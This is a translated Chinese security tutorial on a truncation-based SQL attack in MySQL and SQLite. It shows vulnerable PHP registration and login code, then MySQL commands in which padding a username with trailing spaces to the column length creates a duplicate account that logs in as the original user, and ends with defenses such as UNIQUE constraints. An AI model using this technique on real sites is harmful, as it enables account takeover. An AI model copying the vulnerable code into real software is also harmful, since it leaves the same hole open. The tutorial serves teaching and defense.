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【技术分享】基于约束条件的SQL攻击

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翻译：shan66

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引言

目前值得高兴的是，开发者在建立网站时，已经开始关注安全问题了——几乎每个开发者都知道SQL注入漏洞了。在本文中，我将为读者介绍另一种与SQL数据库相关的漏洞，虽然它的危害性与SQL注入不相上下，但目前却很少为人所知。接下来，我将为读者详细展示这种攻击手法，以及相应的防御策略。

背景知识

最近，我遇到了一段有趣的代码，它尝试尽一切可能来保护数据库的访问安全，例如每当新用户进行注册时，将运行以下代码： 

<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT * 
          FROM users 
          WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) { 
  if(mysql_num_rows($res) > 0) {
    // User exists, exit gracefully
    .
    .
  }
  else {
    // If not, only then insert a new entry
    $query = "INSERT INTO users(username, password)
              VALUES ('$username','$password')";
    .
    .
  }
}

为了验证登录信息，将用到下列代码： 

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
          WHERE username='$username'
              AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
  if(mysql_num_rows($res) > 0){
      $row = mysql_fetch_assoc($res);
      return $row['username'];
  }
}
return Null;

安全注意事项周全吗？

过滤用户输入参数了吗？ – 检查了

使用单引号（'）来增加安全性了吗？ – 检查了

很好，还有什么可能出错的地方吗？

是的，攻击者依然能够以任意用户身份进行登录！

攻击手法 

在谈论这种攻击手法之前，首先需要介绍几个至关重要的知识点。

1. 在处理SQL中的字符串时，字符串末尾的空格字符都会被删除。换句话说，“vampire”与“vampire ”几乎是等效的，这在大多数情况下是正确的，例如WHERE子句中的字符串或INSERT语句中的字符串。例如，以下语句的查询结果，与使用用户名“vampire”进行查询时的结果是一样的。

    SELECT * FROM users WHERE username='vampire     ';

但是，除此之外也确实存在例外情况，例如LIKE子句。注意，对尾部空白字符的这种修剪操作，主要是在“字符串比较”期间进行的。这是因为，SQL会在内部使用空格来填充字符串，以便在比较之前使其它们的长度保持一致。

2. 在任意INSERT查询中，SQL会根据varchar(n)来限制字符串的最大长度，也就是说，如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。例如，如果特定列的长度约束为“5”个字符，那么在插入字符串“vampire”时，实际上只能插入字符串的前5个字符，即“vampi”。

现在，让我们建立一个测试数据库来演示具体攻击过程。

vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing;
Query OK, 1 row affected (0.03 sec)
mysql> USE testing;
Database changed

我将创建一个数据表users，它有两列，即username和password。并且，这两个字段的最大长度为25个字符。接下来，我将插入一行记录，其中以“vampire”作为用户名，以“my_password”作为密码。

mysql> CREATE TABLE users (
    ->   username varchar(25),
    ->   password varchar(25)
    -> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
    -> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

为了展示尾部空白字符的修剪情况，我们可以输入下列命令： 

mysql> SELECT * FROM users
    -> WHERE username='vampire       ';
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

现在，假设一个易受攻击的网站使用了前面提到的PHP代码来处理用户的注册和登录。为了入侵任意用户的帐户（就本例来说，用户名为“vampire”），只需使用用户名“vampire[一些空白字符]1”和一个随机密码进行注册即可。对于选择的用户名，前25个字符应该只包含vampire和空白字符。这样做的好处是，将有助于绕过检查特定用户名是否已存在的查询。

mysql> SELECT * FROM users
    -> WHERE username='vampire                   1';
Empty set (0.00 sec)

需要注意的是，在执行SELECT查询语句时，SQL是不会将字符串缩短为25个字符的。因此，这里将使用完整的字符串进行搜索，所以不会找到匹配的结果。接下来，当运行INSERT查询语句时，它只会插入前25个字符。

mysql>   INSERT INTO users(username, password)
    -> VALUES ('vampire                   1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
    -> WHERE username='vampire';
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)

很好，如果现在搜索“vampire”的话，将返回两个用户。注意，第二个用户名实际上是“vampire”加上尾部的18个空格。现在，如果使用用户名“vampire”和密码“random_pass”登录的话，则所有搜索该用户名的SELECT查询都将返回第一个数据记录，也就是原始的数据记录。这样的话，攻击者就能够以原始用户身份登录。

这个攻击已经在MySQL和SQLite上成功通过测试。我相信它同样适用于其他数据库下。

防御措施

显然，要想开发安全的软件，必须对这种安全漏洞严加防范。下面是我们可采取的几项防御措施：

1. 应该为要求/预期具有唯一性的那些列添加UNIQUE约束。这实际上是一个非常重要的软件开发规则。即使您的代码已经提供了完整性检查，也要正确定义您的数据。由于'username'列具有UNIQUE约束，所以插入另一个记录将是不可能的。这两个字符串将被视为等同的，并且INSERT查询将失败。

2. 最好使用'id'作为数据库表的主键。此外，数据应该通过程序中的id进行跟踪。

3. 为了增加安全性，您还可以手动方式将输入参数修剪为特定长度（具体长度可以视数据库的中设置而定）。